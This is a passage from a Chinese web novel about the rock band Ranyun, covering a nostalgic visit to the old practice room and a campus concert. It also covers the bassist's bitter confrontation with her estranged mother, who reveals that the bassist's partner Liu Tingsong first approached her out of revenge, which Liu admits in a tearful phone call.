许风扰随手拍了张照片,打开联系列表,她的好友不多,最常联系的几个人都被设了置顶。 柳听颂、燃陨乐队的群还有…… 李见白。 许久没有点开的聊天框标着红点,视线扫过后又被忽略,将照片发给柳听颂后,又转发到燃陨的群裏。 楚澄三人都未回复,想来还在路上。 许风扰将手机一收,便几步走到门前,伸手抬门后试探了下,呛人的灰与嘈杂的铁皮声响一并落下,而卷帘门一丝不动。 她也不急,眉稍一挑,便往角落裏被爬山虎覆盖的红墙看去,看似严丝合缝的砖头,实际一掰就拽出半截红砖,露出藏在裏头的钥匙。 这还是楚澄有一次练习练烦了,自个往门外一蹲,拿小木棍戳戳挖挖,翻出来的隐秘小洞。 后面都将钥匙丢在裏头,以免谁提前赶来,却被阻拦在门外的麻烦。 之前离开得匆忙,竟谁也想不起取出这把钥匙,让它被丢在这儿许久。 许风扰拍了拍上头的铁锈,对着锁芯试探了下,居然还能打开。 铁门被往上拉,光随之灌入,露出熟悉又陌生的狭窄空间。 说是熟悉,是因为大致的摆设都没变。 发霉的木柜裏还放着她们在地摊淘来的乐谱,角落裏是从况野家搬来的旧轮胎,木板一搭就变成可容几人坐下的椅子,就连那个三手小冰箱都还在用着,每次都只能放两瓶可乐,惹得楚澄三人次次争抢。 而陌生的是那些摆放凌乱的乐器,想来是她们搬走后,社团又将这儿让给其他乐队使用。 许风扰没走进去,眯了眯眼看向柜子上,摆着的牌子写着一串字母,像是这个乐队的名字。 忽然间,好像听到楚澄的大笑声,况野蹲在角落裏挠头,纪鹿南漫不经心翻着字典,试图从中得到还不错的乐队名字。 回忆随之翻涌,将人拉扯入旧时光中。 也是初秋时节,许风扰那年大二,刚刚结束了为期两月的柳听颂特训,正在试图组建她的乐队。 说来好笑,自燃陨乐队大火后,许多媒体、粉丝都问过燃陨乐队是如何成立的,楚澄、纪鹿南两个嘴上没把门的,次次都编出新鲜故事。 一下说是许风扰偶然路过练习室,意外听到楚澄令人惊艳的琴声,苦求三月,才让她松口加入乐队。 一下说是纪鹿南与况野在酒吧不打不相识,再和许风扰在山间飙车后,成立乐队。 最离谱的还有,纪鹿南和楚澄当年同时在追一个女孩子,结果女孩没有追到,两情敌惺惺相惜,成为亲密无间的队友。 但其实燃陨乐队的成立特别无趣,甚至谈不上什么故事,且,前头也提过,燃陨乐队的成立还与柳听颂息息相关。 楚澄这人性子张扬,刚进校就出了名,拿着电吉他上了几次学校演出,整个S大都知道她能耐,于是许风扰自然而然地找上她。 而楚澄当时刚好和原先乐队的男队友闹了些矛盾,但也没到解散退出的地步,而且她也怕许风扰经验太浅,不敢轻易相信。 结果许风扰为了挖她,直接将柳听颂请来。 楚澄那会就是个大学生,半个脚掌都没能踏进娱乐圈,看见那么大个咖位的天后站在自己面前,能有什么坚持 当时就抱住许风扰的大腿,求着她要加入。 而纪鹿南那会正闹着逃婚呢,信用卡被家裏一停,不管富几代都变穷光蛋,也不好意思和那些个狐朋狗友借,小某书上看见许风扰他们在招键盘手,揣着手机就去面试,唯一的条件包吃包住。 本来就想混混日子,结果一看见柳听颂,瞬间点燃了掩埋在遥远记忆的梦想。 当场从要包吃包住的颓废流浪者,变成可睡大街吃剩饭、为理想牺牲一切的天才乐手。 当然,许风扰最后也没真让她睡大街、吃剩饭。 许风扰入学时闹得轰轰烈烈,以至于没人敢和她当舍友,而许风扰只交钱又不在裏头住,那么大个四人间就空了下来,且,当时也没什么人脸验证,带着纪鹿南进进出出几次,在舍管那边混了个脸熟,自然就住了进去。 至于吃饭问题,饿了几天肚子的纪鹿南完全不挑,揣着许风扰的饭卡往食堂一坐,两菜一汤就吃得老香。 也是因此原因,她两怎么也不愿意和媒体、粉丝说实话,次次都要编个乱七八糟的故事来敷衍。 而况野嘛…… 她才是那位波折最多、最难请的。 因为比起打鼓,她可能更爱修车。 那会招鼓手的消息挂了半月,来应聘的不少,却没个真正有实力的,最后还是楚澄认识的人提起,说上次修车时,在那边瞧见了个挺厉害的鼓手,任旁边洗车声如何杂乱,自己在旁边敲得砰砰响。 许风扰等人便抱着死马当活马医的心态,赶去那边看了眼。 结果不看不要紧,一看许风扰三人就钉在那儿了,天天花式缠着况野加入乐队。 可那人怎么说也不同意,觉得打鼓就是兴趣爱好,修车才是她的主业,任许风扰等人说破嘴也没有用。 后头还是靠柳听颂。 她看出况野家的修车店出现了资金问题,运用了钞能力,愣是把这祖宗请了进来。 前头况野还老嚷嚷着还完钱就走,搞得许风扰她们忧心忡忡,直至后来,她们第一次站在音乐节的舞臺上后,况野就再也没提起过。 “阿风!” 大喊声骤然响起,许风扰被吓得一激灵,直接从回忆中抽出。 而那位一米八的大狮子已从身后扑来,一下子将人压住,单臂勾着她的脖子就道:“你站着这儿发什么愣呢?都喊你几声?!” 纪鹿南漫不经心笑声响起,便道:“你在这怀念以前呢?” 她话音一转又道:“确实该怀念一下,等会我们去食堂吃一顿?” 况野不说话,只往门边一靠,眼睑下泛起青紫,因为乔笙的一个问题,好几日都没能睡好。 许风扰颇为嫌弃地拍开楚澄的手,往旁边走了一步。 楚澄也不在意,嘿嘿一笑就看着前面道:“哟,这儿又有别的乐队占了?看起来倒是不错。” 纪鹿南也笑:“到时候问问,看看底子怎么样。” 楚澄眯了眯眼,正好瞧见乐队牌子,当场就念道:“shark” “鲨鱼乐队啊,”楚澄啧啧两声,又说:“这个名字没有咱们取得好。” 况野眼珠子一转,瞅着她就道:“是咱们想出来的吗,那不是听颂姐想的?” 提到这事,几人又忍不住笑起,回忆起那会挠头抓耳、想不出一个乐队名的痛苦,幸好有柳听颂,也幸好是柳听颂,这才取了个燃陨,而不是什么狮子、老虎、破碎星河,更不是四个人的首字母相连。 “听颂姐不也是咱们吗?”楚澄对着许风扰挤眉弄眼,继而又道:“这次校庆咱们嫂子来看你演出不正好聊聊填词的事情。” 她面色一苦就道:“咱们想了那么多天也没个合适的,不如叫嫂子想一想。” 许风扰白眼一翻,毫不客气道:“她最近忙的很,你别烦她。” “哟,这就护上了,一点也不能累到人家是吧?”纪鹿南笑着打岔。 许风扰不理她,这话怎么接都不对,索性道:“她今天有事,应该不会过来。” 楚澄比了个鬼脸,继而道:“过段时间咱们团建,你可得提前和她说一声,省得到时候又没时间。” 这是燃陨乐队的老传统了,每年中秋都会约着一块出门团建,去年是露营烧烤,前年是私汤温泉。 “放心吧,”许风扰摆了摆手,继续道:“她已经答应会去了。” 楚澄应了声,又突然想起什么,看向旁边况野,乐呵呵就道:“你那位前女友怎么样了,这次能带来不?还是咱们两个孤家寡人作伴啊。” 她们可不讲究什么单独空间,有家属都得带家属,不然孤孤单单四个人,一点也不热闹。 况野没回答,不知该怎么回答。 几人再说了些话,眼看时间不早,便要拉下卷帘门。 本是想约着到老练习室看看,怀念一下当年,可既然已经有了新的乐队,就不方便再闯入,只有楚澄觉得好玩,随手写张签名进去,当做对后辈的鼓励。 一个小时后,S大礼堂突然阵阵呼声。 第54章 今天的舞臺很棒 窗外天气阴沉, 厚重浓云不曾被震耳欲聋的鞭炮声驱赶,反倒有越发往下的阴沉之势,水汽弥漫, 周围越发闷热, 像是昨夜的暴雨还未落完,现在又要继续。 前头的校长宣讲结束, 又到了荣誉校友捐款、演讲。 燃陨几人百无聊赖地躲在一处隔间裏,学生时候就不喜欢这些弯弯绕绕的官话,现在更懒得装, 刚在特意留出的前排观众席上坐了一秒, 便立刻以准备节目为理由离开。 许风扰等得无聊, 柳听颂又好像有事,没有回她的消息。 许风扰握住手机, 让它在掌心转了几个圈, 直到背面朝上才止住。 还是那个朴素的透明手机壳, 那根银白的猫毛不仅没被取走, 还在它的旁边添了根黑色长发。 许风扰眼眸垂落, 尖锐的气质也随之软化。 年长那位挺会吃醋的, 在采访时瞧见也不说, 直到晚上回到酒店房间、云消雨散后,才懒懒缩在许风扰怀裏,往她掌心裏塞了方才落下的长发,再掀起眼帘,委委屈屈地看着许风扰。 许风扰起初还没能反应过来,直到那人用眼神示意手机, 许风扰才无奈笑起。 笑她连她的猫的醋都要吃,猫毛放手机裏, 她的头发也要。 大拇指擦过透明手机壳,隔着一层厚膜,抚在微卷的发丝上。 那点柳听颂不回消息的烦闷,就这样轻巧散去。 等到冗长的演讲快要结束,终于有学生敲响房门,提醒她们可以出来了,今儿的校庆彙演要由她们开场。 四人这才懒散起身,在那学生的带领下往前。 楚澄向来不得闲,竟和那个学生聊起来,只是扯了几句老师校长,那学生就变得热络起来。 许风扰跟在最后面,单手捏着手机,大拇指在键盘上打着字,一行行发送,却始终没有得到回复。 自重新在一起后,柳听颂第一次消失那么太久,让人觉得反常。 近处有脚步声响起,四五个人从她们身侧走过。 许风扰不曾理会,注意力都在手机上,而明亮的屏幕又阻拦视线,只在对方略过时,用余光捕抓到一片浅色西装衣角,瞬息就被遗忘。 “学姐,到了,”那学生连忙开口。 正当这时,站在臺前的主持人已铺垫了一堆形容词,最后高声喊道:“让我们欢迎燃陨乐队!” 昏昏欲睡的氛围终于被打破,掀起一阵阵欢呼声,这可比没完没了的演讲有趣多了。 灯光熄灭,漆黑中窃窃私语不断,隐约可见张张兴奋的脸。 “学校居然真的把燃陨请来了,我之前听到这个消息,还以为是谁胡编的。” “怎么就请不来了?你可别忘许风扰和楚澄都是咱们的学姐。” “嘿,那天我们老师还和我们八卦呢,说许风扰学姐大一那年可混了,课也不上宿舍也不睡,要不是她家捐了两栋楼,她铁定要被劝退。” “哎对,许学姐是经济学院的啊,怎么会去搞乐队了?” “据说是家裏逼的,”有一人回答。 她又道:“燃陨好像就是她大二那年组建的,应该是和家裏达成了什么协议?反正她是从大二才开始好好念书的,我老师还夸过她,说她要是不搞音乐,搞经济也大有可为,毕竟她可是那一届的优秀毕业生代表,只不过燃陨那会都参加综艺大火了,怎么可能会转行。” “不一定吧,不是说她是富二代吗,是不是和家裏约好,玩几年音乐就得回去继承家业?” 这话落下,众人皆露出恍然表情,像是终于讨论出答案一般。 “哎,她家捐的教学楼是哪两栋来着?灼华楼和华林楼?我怎么觉得刚刚好像听到哪个大佬提到。” 这人一拍脑袋,气道:“我刚怎么就睡着了? 不等几人继续讨论,旁边高高架起的单反突然闪了下,像在测试一般。 放眼望去,这样的三脚架加单反组合不少,多为燃陨乐队的站姐,虽然没有线上宣传过,但她们还是用其他渠道得知了此次表演,又想尽办法蹭到了特邀观众的席位。 而那位消失许久的柳天后同样身处其中,依旧是那身黑衣黑帽口罩的打扮,手中攥紧的手机亮起又暗淡,目光始终停留在漆黑一片的臺前。 蔚□□束骤然亮起,交织穿梭,却没有白灯作为配合,故而并不清晰,只能瞧见乐器与人的黑色剪影,烟雾升腾而起,LED屏幕映出浩瀚星空,再有缭乱彩笔写下的燃陨乐队四字出现,转瞬就消失不见,换成曲名不羁两字。 呼声与高举的手机屏幕同时出现,如同长炮的单反嗒嗒嗒响起。 率先响起的是鼓声,不同以往的重重敲下,甚至带着漫不经心的意味。 十字耳坠有银链垂落,系向唇间银环,跟着况野的晃头而摇曳,脚踩踏板,手中的鼓棒重复落下。 身后的LED屏幕变作一个穿着花衬衫的黑脸人摇头幌脑、脚步歪斜地跟着节奏踏步往前。 低沉又骚气的贝斯声弹响,撩动的指尖透着几分随意。 颈带皮质项圈,身穿宽松黑底红字T恤,腰系赤色格子衬衫作为搭配的许风扰抬了抬眼,炽热隐藏在看似平淡的眼眸下,裸//露的小臂有肌肉线条浮现。 还未有歌词出现,摇滚的重点本就不在歌词,充满节奏的律动还在继续。 不需要引领,底下高举的手机与双臂都随鼓声晃起,如同起起落落的浪。 楚澄抱着一把黑漆电吉他,无袖下的手臂扣着铆钉皮环,蹦跳与扫弦同步,耀眼的红发散开。 “燃陨!” 不知是谁突然大喊一声,破音的叫嚷就一声接一声,疯狂又热烈。 “燃陨!” 站在键盘后的纪鹿南左手按在黑白键上,不仅不阻拦底下的喊叫,甚至晃着身子向臺下招手,主动引领喊声。 直至半分钟过去,才响起许风扰懒洋洋吹起的口哨声,众人的注意力都被拉扯向她。 LED屏幕也出现杂乱彩色线条,黑脸人在时空乱流中踏步往前。 “你看、你看,”漫不经意地哼唱声响起。 “她指着、指着狗笼,” “狗笼裏的我啊,她笑着对我说啊。” “她啊,她说她要我乖。” 许风扰突然笑起,眉眼嘲弄,嘴角讥笑,贝斯声透着股戏谑感。 黑脸人脚边出现一只甩头摇尾的狗。 楚澄比了个鬼脸,双手置于脑袋装作狗耳朵摆了摆,发出怪诞狗声。 许风扰放低声音,如同快速地呢喃:“她说,她说她要我乖。” “她说,她说她要我乖。” 鼓声突然停下,所有声音都消失,只有屏幕中的狗在摇尾巴。 许风扰双手握住话筒,嘶哑高喊:“她们要我乖!” 灯光突然亮起,直直打在四人身上,贝斯声、鼓声、吉他声如水闸开启,宣洩涌出,尽数填满这片方寸空间,想要掀破屋顶,打翻舞臺。 “可惜我不是摇尾乞讨的狗,” “顺从匍匐在脚边的狗。” “她们要、要我乖。” “我不是、我不是摇尾乞讨的狗,” “顺从匍匐的狗。” 楚澄一脚踩在音响上,仰头往后,拨弄琴弦的手只剩虚影。 鼓棒重重敲下,况野低头附身,汗水从额头散落。 纪鹿南双手缭乱,偏头向话筒,为前头人垫音。 蔚蓝光束熄灭亮起,摇头灯冒出片片光斑,雾气更重,几乎将舞臺包裹,屏幕上的狗还在摇尾,却被一句又一句冒出的杂乱歌词盖住,如同密密麻麻的镣铐与囚笼。 许风扰垂眼看向臺下,涣散视线终于有了焦点。 柳听颂仰起头,不曾躲闪逃避,隔着层层人海,与之对视。 臺上的人露出一丝顽劣笑意,好像在对柳听颂说,我抓到你了,我早就抓到你了。 从上臺的那一刻,我的身体比我更快找寻到你、捕抓到你。 “你看、你看,” “她指着、指着狗笼。” “狗笼裏的我啊,她笑着对我说啊。” “她啊,她说她要我乖。” 声音逐渐消散开,乐器声变得缥缈。 屋外的云层更厚,好似被浓墨破泼洒,狂风忽起,粗壮的枫树被摇晃、拍打,落叶比雨更先落下,被风吹得四处乱飞。 只听见一声轰隆隆的声音,积聚已久的大雨终于倾盆而落,如弹珠般的雨水砸落在地。 但这一切都没有影响到礼堂中的欢呼声,不少人已踩在凳子上,跟着大喊、狂欢。 一首接着一首。 直到灯光暂时熄灭,礼堂中的热度也不曾消散,甚至到下一个演出后,众人还沉浸在上一场的鼓声裏,无意识地摇晃着身子。 而造成这一切的燃陨,已悄然退向隔间中 一时无人说话,体力、精力被消耗殆尽,需要一段时间的缓和。 楚澄抱着不知从哪裏拿来的抱枕。 况野仰躺在沙发裏。 纪鹿南在低头翻女儿的照片。 许风扰看向手机,假装消失的那人终于发来消息,先是一个小猫说抱歉的表情包,而后又补充:【很想看宝宝的演出,所以就偷偷跟过来了】 【舞臺很棒,宝宝越来越厉害了】 她似乎犹豫了下,隔了一分钟才又发出一句【不要生气】 许风扰勾了勾唇角。 不回消息还敢让她不生气,柳听颂这两天是越来越嚣张了? 再说了想看就看呗,她又不会阻拦,还要偷偷摸摸地过来。 许风扰偏头想了想,依稀记得柳听颂旁边的位置空缺,一直没有人坐下。 她翻出鸭舌帽与口罩,再把之前格子衫拆开穿上,稍作遮掩后,便起身,要往外头走。 楚澄等人瞧见,却疲惫地不想理会。 房门被关上,脚步声响起。 许风扰想要先从后门钻出,再绕前门进去。 可人还未走门口,便有声音从身后传来。 “今天的舞臺很棒。” 许风扰突然僵在原地。 第55章 她是她苦痛且无望的人生裏,少有的一点甜 身后的声音带着许风扰熟悉的冷肃, 明明是夸奖的字句,却被说出了上位者居高临下的感受。 许风扰僵在原地,不想转身却也无法离开。 比起人声嘈杂且明亮的的前面, 次处过道过分寂冷, 仅有一盏白得发冷的圆灯维持着光亮,而两旁都是堆迭起来桌椅板凳, 在半明半昧的漆黑中,如同狰狞困兽在挣扎。 许风扰深吸了口气,她不想理会, 假装没听见, 抬脚作势要走。 可那人又开口:“怎么?” “那么久没见, 你不想和我聊聊吗?” 许风扰心脏猛跳了下,雨水从旁边破碎的玻璃窗中溅入, 落在厚厚灰尘裏, 空气裏泛着沉闷的霉味, 地上的影子被吞噬。 “我和你没有什么好聊的, ”许风扰声音冷硬, 前面是一个字一个字几乎是往外蹦, 后面反倒带起火气, 突然加快。 那人满不在意地笑了下,说:“是吗?我以为那么久没见,我的乖女儿会……” “你闭嘴!” 她的话还未说完,就见许风扰突然转身,厉声喝道。 “我们没有任何关系!”她表情冷凝,绷紧的下颌线凌厉, 在盛怒之下,胸膛随着重重呼吸而起伏。 这时才能瞧见那人, 她斜倚在废弃桌椅旁,剪裁合身的灰紫西装,闲适又慵懒,裏头的V领衬衫敞开,颈间珍珠项链垂落,哪怕远远一瞥,也能瞧出那珍珠的华贵奢侈。 听到亲生女儿说出这样的话,她好像毫无情绪起伏,指腹轻擦,发出“叮”的一声,彩贝镶嵌的防风打火机冒出火苗,点燃她唇间的细烟。* 在火光中,她眼眸幽深隐绰,泛着细纹的眼尾凌厉而淡薄,单站在那儿就有一种极强的压迫感。 最特别的是,她五官轮廓虽与许风扰有几分相似,但哪怕两人站在一处,也很难察觉到两人的关系,就好像完全不同、全然是两个世界的人。 烟雾从唇间吐出,她不以为意地开口:“你好歹是我十月怀胎生下来的孩子,怎么可以说出这样的话,让母亲伤心呢?” 许久未冒出的烦躁情绪又一次冒出,如膨胀气球在身体裏鼓起,许风扰额间青筋微鼓,语气却压了下去,没有之前那么冲,但显得阴沉沉的。 “我不过是将您的话重复了一遍而已,难道您忘记了吗?” “是吗?”许南烛笑了下,好像只是一个很寻常的小问题,满不在意道:“年纪大了,很多事情都忘了。” 有什么比自己耿耿于怀的事情,却被对方当做小事遗忘更伤人 垂落在身侧的手紧握成拳,许风扰极力控制住自己,声音几乎从牙缝中挤出:“那既然如此,您老人家就多忘些,最好什么都不要记得。” 年纪大这事敏感,自己说得了,别人却提都不能提。 许南烛眼神一眯,眸光阴戾,便道:“再怎么样,母亲都不会忘记自己孩子的。” “你主动断绝关系的那种孩子?”许风扰面色更冷,嘲道:“许总,您是需要我再重复一遍那天的事吗?” 地上雨珠积成水洼,携着陈年灰尘,随着地缝流淌。 气氛越发焦灼,两人互不相让,已到剑拔弩张的地步。 许风扰一字一句道:“我还记得您打在我脸上的那一巴掌呢。” “是您亲口说的,叫我滚出你的房子,从此与你没有半点关系。” 许风扰话音一转,突然笑起来,道:“要不您现在回去翻翻保险柜裏头应该还有我和你签的断绝亲子关系文书。” 许南烛面色不变,唯有已无半截的细烟,可以看出她的情绪并不像表面那么平淡。 “许总,咱们两可演不了母子情深那一出。” 那点被年长者温柔包容,慢慢软化的尖锐,又一次如野草疯长,周身都冒着戾气。 “那是你太不乖了,”许南烛语调慢悠悠的,眼神无奈,像是在看一个叛逆的孩子。 随着雨势更大,天气越发暗沉,光亮被吞噬,流淌的积水被帆布鞋阻拦,只能被迫分作两股。 “乖?”许风扰挑了挑眉,反问道:“那您呢,您就是个乖孩子了咯?” “我怎么依稀记得您和我一样,都是被赶出去的。” 这话刚落,许南烛表情就变了下,终于露出些许愠色。 而许风扰上下打量了她一下,故作疑惑道:“难道是我记错了?弃医学商的人不是您?” 她语气加重:“您还是个乖宝宝啊。” 许南烛手一歪,火星弹起,烫到手背上,表情更沉:“你现在倒是长进不少。” 许风扰接得很快:“没妈的孩子就是这样,总要比旁人早熟一点。” 一瞬死寂,压迫感更重,毫不留情的话语不断往外蹦,许南烛难受,拿自己伤处作刀刃的许风扰又能好到哪裏去,短暂地畅快过后,只剩下撕裂伤口往外冒出血珠。 细烟落地,火星被高跟鞋用力碾灭。 置于兜裏的手机震动了下,是谁发来消息,暂占上风的许风扰情绪稍缓,紧握成拳的手终于松开,露出满是月牙凹坑的掌心,指尖隔着单薄布料轻轻抚过,好像还能触碰到透明手机壳下的发丝。 急促的呼吸平缓下来,许风扰闭上眼后又睁开,声音终于平稳,但语气中的冷硬依旧,甚至多了几分威胁。 “许总您今天是作为荣誉校友受邀赶来的吧?” 许风扰不算愚蠢,方才只是在气头上,如今稍冷静下来,便能联想到许多。 比如她为什么非要等在这片狭窄混乱的地方,而不是正大光明地去寻许风扰。 “您也不想让别人知道我们的关系吧,”许风扰看向她。 哪怕大一那年闹得风风火火,可知晓许风扰与许南烛关系的人也不多,大多数人只知许风扰是个富二代,而许南烛是个一心扑在事业、至今未婚的优秀企业家。 许南烛与之对视,漆黑眼眸暗含愠怒,久居高位的人哪裏能忍受别人的威胁,可是…… 话毕,许风扰不再停留,转身就想要离开。 可那人却开口:“你外婆生病了。” 又是这句话。 迈出的脚步顿在原地。 许风扰想不明白,为什么李见白、许南烛都要来找她说这话,好像那人对自己多重要,或者说那人又多喜欢、在意自己 荒唐又可笑。 许风扰甚至没转身,只偏头道:“关我什么事?” 所以只有一个人生病了,她所犯的全部过错就可以被原谅,大家都要满足她的所有想法吗? 许风扰不愿意也无法理解。 “许总,你现在也想要当个乖小孩了?” “是不是要我再提醒您一遍,您是怎么被赶出家门的” “因为您喜商弃医,违背父母要您学医的意愿,毅然从商。” “而我呢?”许风扰停顿了下,指尖再一次抚过裤兜,触碰到那透明手机壳下的发丝。 “一个为了缓和你与你父母的关系,利用科学手段生下来的野种。” 之前不是没有人问过她这些,就连楚澄等人都好奇过,毕竟她不同于华国人的异色眼眸实在违和,但许风扰一直不愿提起,身边人除了从小一起长大的李见白外,也就柳听颂知晓,总觉得这是一件难以开口的事情。 哪怕是家庭破裂的孩子,起码也是在父母恩爱时怀孕生下。 而她许风扰呢 就连那一瞬间都没有。 低垂的眼帘颤了颤,刚说出口的那一瞬间以为自己已经释然,却没想到只是感受迟缓,像受到重击的人会先脑袋空白,而后才慢慢感受到疼痛。 地上的积水越来越深,将帆布鞋浸湿,染上深色痕迹。 长时间紧绷的脊背泛起酸疼,许风扰弯了弯腰,连声音都变得慢吞吞,像有巨石在拉扯:“我是你送给他们、继承他们伟大医学事业的继承人。” “哦对,我高三毕业的时候您还改变了想法,因为您伟大的公司也需要一个继承人,”许风扰讽笑了声,笑意不及眼底,如同死水一般沉寂。 明明没有再咀嚼烟草,但许风扰还是感受到了那种苦涩,连最迟钝的舌根都被淹没。 她想,柳听颂会同意她今天晚上的破例,一点烟草再加几瓶酒,她不会太过分,她只是有点难过。 明明已经过了那么久了,她还是觉得有点难受。 她真的很没有用,无论用什么方法都没办法迈过这个槛。 还是无法逼着自己面对、强求自己承认,她的人生就是许南烛用来换取自己自由的工具。 手机又颤了下,面前紧闭的门被狂风吹得直晃,撞出一条极狭窄的缝隙,雨水与光从缝隙挤入,落在她眼眸、鼻梁。 像是救命的绳索从井口垂下,落在被情绪淹没的人面前。 今天就这样吧。 好像校方那边还安排了点旁的、类似于用自己经历鼓励学弟学妹的演讲,那种东西就交给楚澄好了,她实在没力气了。 她现在只想快点找到柳听颂,拉着她往外走。 她想回家了。 回去喝一点酒,再抱着三斤、躲在柳听颂怀裏。 许风扰深吸了一口气。 很不合时宜的,在这个初秋微凉、外头还下着暴雨的时候,在她刚揭完自己伤疤的、身后还有一个无比厌恶的人的时候。 她居然想和柳听颂结婚了。 华国还不能领证,但她们可以去国外,就选在柳听颂之前待过的那个国家,她记得她查过,那边同性婚姻法已经很完善了,不公开也可以,只要租一个很小的教堂,再举办一个小小的婚礼,反正她的朋友很少,就那么几个。 她想,柳听颂真的对她很重要。 她是她苦痛且无望的人生裏,少有的一点甜,也是第一个将她拉出深井的人。 她想要抬手推开门。 可身后人却道:“你难道就不想知道柳听颂为什么会突然离开你吗?” “或者说,你难道就没有好奇过她为什么会突然接近你吗?” 许风扰骤然转身,只见那人又点了支细烟,深吸一口后,才不紧不慢地拿开。 “我们做一场交易。” “我告诉你为什么,你去一趟医院,怎么样?” 虽是问话,但她眼神裏却写满笃定。 她相信许风扰会同意。 如她所想,许风扰也确实答应了。 第56章 她被淹没在雨中 这场雨越来越大, 几乎是这场漫长雨季裏最大的一场雨,水珠彙聚了泛白的雾网,可视度不到一米, 红泥被积水掀起, 冒出腐败而深冷的味道。 这样的极端天气,总会让人本能生出惶恐感 柳听颂垂眼看向手机, 连发几条消息却没有得到任何回答。 不知对面那位是在报复她之前的沉默,还是另外有事,思绪落到这儿, 她又发了个小猫求饶的表情包过去。 表情包很可爱, 是那时她与许风扰盘坐在地毯上, 想方设法教三斤后空翻时拍下的。 银白缅因被她们逗得可怜兮兮,大脑袋压在爪子上, 甩着大尾巴, 委屈又讨好似的地看着她们, 后面许风扰觉得有趣, 便在三斤脑袋上加了一行我错了, 继而就成了柳听颂惯用的表情包。 想到这裏, 柳听颂轻轻吐了口气, 但心裏仍然没有好受一点,像是有什么事要发生,直觉拉起警铃,周围的学生吵闹且拥挤,连氧气都变得极为稀薄。 她不禁回想起之前发生的一切,确定许风扰并未因此生气, 甚至可以笃定许风扰看懂了她的意思,可直至现在, 旁边的位置依旧空无一人。 所以…… 到底是为什么。 柳听颂抿了抿唇,恰好舞蹈节目已经结束,因有燃陨乐队在前的缘故,之后的节目都未引起太多关注,多是敷衍鼓掌,甚至旁边的学生已经开始百无聊赖地聊起天,提起之前上臺的荣誉校友。 柳听颂本无意理会,却在下一秒听到熟悉名字时僵住。 “哎,许南烛不是弃医从商的吗?怎么还能来我们学校当荣誉校友?” “你不知道?她后头来我们学校补了商学院的研究生,也算是咱们学校的人了。” “这种操作一直不少,那些大佬想办法往自己脸上贴金,而学校也乐意收。” “哎,不过我听老师时,许总和其他人可不一样,她是认认真真来上过课的,也不知道她那么喜欢这方面,为什么还要学医。” 柳听颂指尖发凉,在此之前,她担忧被人提前发现,所以并未在开场时就落座,而是等到燃陨乐队要表演时才赶来,就不曾知晓许南烛也在其中。 分明还处于闷热的环境,她却如同一下子掉入冰窖中,唇色发白。 心中慌乱下,还没有来得及做出反应,便见手机屏幕亮起。 是许风扰打来的电话。 她没有丝毫犹豫,立马起身往外,快步至一处无人偏僻处,电话一接通,她便立马问道:“宝宝你在哪裏?” 还心存侥幸,以至于连她自个都没有发觉到,她此刻的声音发颤,连最基本的清晰吐字都无法完成。 可手机的另一头却没有给予她安抚,只有无穷无尽的呼啸雨声。 “宝宝?” “你在哪裏?”焦急的话语从扬声器中不断传来 许风扰站在朦胧雨帘裏,浓睫被雨水打湿,水珠不断往下滴落,眼眶周围都红透,湿完的衣服紧紧粘在身上,完全没了舞臺上的意气风发,整个人都狼狈极了。 脚下的帆布鞋碾碎,鸭舌帽不知道去哪裏了,湿漉漉的白发贴在额头,像是失了魂魄,好半天挤出一句话。 “柳听颂,我刚刚见到许南烛了,”她的声音飘忽,几乎被打散在雨中,又透着股委屈,像个受尽欺负的大狗。 “她说你接近我是另有目的,”许风扰张了张嘴却又哽咽住,带着哭腔道:“她说你是为了报复她。” “宝宝,”柳听颂慌得颤抖,只能后靠向墙壁,才能勉强撑住自己。 她喃喃道:“阿风……” “柳听颂我不信她说的,我只信你。” 眼泪随着雨珠落下,砸落在地上积水,水珠都破碎开。 许风扰咬了咬牙,极力稳住声音,一字一顿地坚定道:“我只信你。” “柳听颂我不信她,我只信你。” “你只要现在告诉我,她说的都是假的,我就信你。” 她的声音几乎像是祈求一般,哭着道:“你告诉我。” 柳听颂唇瓣碾磨,一次次想要张嘴却无法开口,脖颈被虚无的恐惧掐住,连呼吸都困难。 她心裏很清楚,只要她现在如许风扰所说的那样否认,许风扰一定会完全相信她,将许南烛的那些鬼话抛之脑后,只有她开口否认,哪怕只是一句话,许风扰也会毅然决然地站在她这边,可是…… 可是, 可是倘若她心中真有愧呢? 柳听颂闭上眼,用力深吸了口气,却依旧被窒息的感受包裹,废大力气练习的形体,常年挺直的脊背终究是一点点弯曲下来,死死抵在冰凉墙壁上。 “宝宝……” 她几乎呢喃地开口,心中一片死寂,彻底坠入虚无的空洞裏。 没有回答,也不用回答了。 许风扰手脚发冷,瘦削躯体都被雨水浸泡,头一次发觉,这世界上还有比被柳听颂抛弃更难挨的事情。 “柳听颂,现在我问你一句,你答一句,”她好像还心存希望,紧紧咬住的牙颤抖不止,碧色的眼眸无神又灰暗,全凭本能再支撑。 “我问你,你是不是为了报复许南烛,所以才想方设法接近我” 柳听颂呼吸急促,眼尾有水雾凝聚,那些不敢面对、不敢彻底告知的真相,终究要被一层层揭开,而之后的结局,她不敢想也惧怕想象。 周围一片漆黑,都是堆积累起的桌椅,将人包裹、围绕。 见她没有回答,许风扰抬了抬眼帘,眼眸似乎亮了亮,强撑着如萤火般的渺茫希望,小心翼翼道:“你不说话就是否认,好不好?” 天边有雷电轰然冒出,紫色的巨蟒穿梭于云层裂缝之中,将整个城市都照亮,紧接着巨响砸落而下,如弹珠般的雨水更甚,甚至像冰雹一直噼裏啪啦掉下。 许风扰的脊背、手臂,每一处肌理都被砸得生疼,泛起刺眼的红,地上的落叶更是碎成细碎几片,完全拼凑不出完整模样。 “……是。” 许风扰听到扬声器传来她最不想要听到的回答,最后一点希冀被抹杀殆尽。 柳听颂瞬间脱力,腿脚一曲,直接摔落在地。 心中悔意在翻腾,可却没有重来的机会,甚至连自个都无法保证,如果再重来一次,她是否真的能够主动开口。 当谎言的雪球越滚越大,便彻底没了推开的勇气,生怕下一秒就会将她们之间脆弱的关系压垮,只能天天忐忑不安,又心存侥幸地期盼着。 可是危机不会自己消融,哪怕不是许南烛揭穿还会其他,迟早有一天许风扰会选择不再等待,主动揭破,当那时她又该如何?如今只是比她预计的时间更提前了。 “对不起、对不起宝宝,”柳听颂只剩下这句话,翻来覆去、反复呢喃。 “对不起、” 许风扰僵在原地,发紫的嘴唇颤抖,声声哀求却换不到想要的答案,于是变得悲伤又冷戾,如同一头彻底被抛弃的野狗,瘦骨嶙峋的皮囊下,只剩下最扎人的刺。 “柳听颂,我说过的、”她扯着嘴皮,明明全身都湿透,却觉得嗓子干哑如刀割。 